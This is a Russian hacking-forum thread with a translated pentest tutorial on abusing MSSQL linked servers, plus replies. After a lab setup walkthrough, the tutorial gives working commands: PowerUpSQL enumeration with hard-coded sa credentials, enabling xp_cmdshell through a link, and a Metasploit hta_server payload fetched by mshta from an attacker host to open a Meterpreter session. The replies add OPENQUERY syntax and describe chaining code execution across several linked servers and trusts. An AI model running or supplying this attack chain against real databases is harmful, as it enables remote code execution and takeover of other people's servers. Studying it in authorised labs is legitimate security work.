• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья MSSQL для пентестера: абузим через линковые базы данных

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Эта статья - еще одно дополнение к нашей серии MSSQL для пентестеров. В этой статье мы узнаем, как создать связанный сервер и использовать его.

Введение в связанные серверы

Связанный сервер действует как мост между двумя серверами. Посредством ссылки база данных сервера может просматриваться/совместно использоваться/редактироваться двумя или более серверами, имеющими доступ к указанной базе данных. Данные из таблиц можно объединять и запрашивать через них. Связанные серверы предназначены для приложений, которым требуется большая гибкость в отношении хранения и извлечения данных. Независимо от того, использует ли приложение параллельную обработку, случайные запросы или соединения между несколькими файлами Microsoft Access, связанный сервер обеспечивает лучшую платформу для гибкой разработки приложений. Данные из нескольких источников могут быть добавлены в одну таблицу или добавлены к существующим данным. Вы можете использовать связанный сервер вместо обычной таблицы, как если бы вы делали копию существующей таблицы базы данных. Через связанный сервер можно сделать следующее:

- Контролировать планы запросов
- Изменять тип данных столбца
- Оптимизировать запросы на удаленном сервере
- Изменять план для локальной таблицы
- Получать доступ к данным в удаленной таблицы
- Удалять объекты в локальной базе данных
- Изменять сервер, используемый для доступа к локальным таблицам
- Повторно подключиться к линк-серверу
- Используйте реплицированные параметры
- Разрешать удаленные обновления

Настройка лабы


Сначала мы настроим сервер ссылок. Когда установлен сервер MSSQL, сервер по умолчанию создается сам по себе. Но нам нужен другой сервер, чтобы мы могли связать их между собой. Итак, чтобы создать другой сервер, запустите процесс установки и выберите New SQL Server Stand-alone installation or and add features to an existing installation, как показано на изображении ниже:

1641139031045.png


Затем нажмите кнопку "Далее ", как показано на изображении ниже:

1641139040715.png


В следующем окне диалогового окна выберите "Выполнить новую установку SQL Server 2016 ", а затем нажмите кнопку "Далее ", как показано на изображении ниже:

1641139050940.png


В диалоговом окне выбора функции выберите функции, которые вы хотите установить, и укажите путь к вашему экземпляру. После этого нажмите кнопку "Далее ", как показано на изображении ниже:

1641139064047.png


В диалоговом окне конфигурации экземпляра укажите имя сервера и нажмите кнопку "Далее ", как показано на изображении ниже:

1641139071467.png


В диалоговом окне "Конфигурация сервера " убедитесь, что запуск выполняется автоматически, а затем нажмите кнопку "Далее ", как показано на изображении ниже:

1641139080776.png


В диалоговом окне "Конфигурация ядра СУБД " выберите "Смешанный режим " в разделе "Режим проверки подлинности " и укажите пароль для своего сервера. Нажмите кнопку "Далее ", как показано на изображении ниже:

1641139091816.png


Нажмите кнопку "Закрыть ", так как установка завершена; как показано на изображении ниже:

1641139101843.png


Теперь, чтобы подключиться к серверу, выберите опцию <Browse for more…> в раскрывающемся меню Authentication, как показано на изображении ниже:

1641139110302.png


Выберите свой сервер и нажмите кнопку ОК, как показано на изображении ниже:

1641139118400.png


Теперь, как вы можете видеть на изображении ниже, у нас есть два сервера.

1641139125579.png


Теперь перейдите на сервер → Объекты сервера → Связанные серверы. Щелкните правой кнопкой мыши связанные серверы и выберите в раскрывающемся меню пункт "Новый связанный сервер…", как показано на изображении ниже:

1641139133875.png


В опции "Связанный сервер" укажите имя сервера, который вы хотите связать. В поле "Тип сервера" выберите "Другой источник данных". Выберите Microsoft OLE DB Provider из SQL Server в раскрывающемся меню Provider. Укажите сервер по умолчанию в качестве источника данных и укажите имя базы данных в Каталоге. Наконец, нажмите кнопку ОК, как показано на изображении ниже:

1641139152586.png


В параметрах сервера убедитесь, что RPC и RPC Out верны, как показано на изображении ниже:

1641139159405.png


На вкладке "Security " укажите имя пользователя и пароль для вашего сервера по умолчанию, затем нажмите кнопку "ОК", как показано на изображении ниже:

1641139168290.png


После всего этого будет создан ваш связанный сервер, как показано на изображении ниже:

1641139175433.png


Эксплуатация сервера

Разведка

Теперь наш сервер ссылок готов. Как злоумышленник, мы ничего не знаем о сервере. Итак, чтобы провести разведку сервера, мы будем использовать PowerUpSQL и его следующую команду:

Import-Module .\PowerUpSQL.ps1
Get-SQLServerLink -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose


1641139191984.png

Как вы можете видеть на изображении выше, у нас есть имя экземпляра, имя связанного сервера и имя каталога, а также другая полезная информация.

Выполнение кода

Теперь для удаленного доступа к связанному серверу мы будем использовать PowerUpSQL и Metasploit. Эти два инструмента оказались лучшими инструментами для атаки на серверы MSSQL.

Перед тем, как развернуть эти инструменты, мы можем перейти к фfacets>surface area configuration и подтвердить, что XPCmdshell отключен, как показано на изображении ниже:

1641139203548.png


Теперь мы включим XPCmdshell, используя следующую команду PowerUpSQL:

Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')"

1641139220398.png


Теперь, когда XPCmdshell включен, мы будем использовать Metasploit для генерации URL-адреса с эксплойтом hta_server, и для этого воспользуемся следующим набором команд:

use exploit/windows/misc/hta_server
set srvhost eth0
exploit

1641139236505.png


У нас есть URL-адрес. Теперь мы выполним этот URL-адрес через PowerUpSQL, чтобы у нас был сеанс Meterpreter. Чтобы развернуть указанный URL, используйте следующую команду:

Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "exec master..xp_cmdshell 'mshta.exe http://192.168.1.2:8080/ugfFOJBvO.hta'"

1641139257468.png


После успешного выполнения команды у нас будет сеанс meterpreter, как показано на изображении ниже:

1641139266321.png


Таким простым способом можно использовать линковый-сервер и передать сеанс злоумышленнику.

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-abusing-linked-database/
 
Ещё можно вот так:

SQL:
SELECT * FROM master..sysservers <- вернёт все линкованные серверы
SELECT * FROM OPENQUERY("sqlserv2", 'select @@servername') <- выполнение запросов на sqlserv2 с первого сервера

Можно делать выполнение кода через несколько серверов. К примеру sqlserv1 линкнут с sqlserv2, а sqlserv2 линкнут с sqlserv3, то мы можем выполнить код с sqlserv1 на sqlserv3. Как? Думайте сами. Основной синтаксис выше.

Плюс, эта штука работает сквозь трасты
 
Главное не забудьте, что openquery должен вернуть строку данных.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх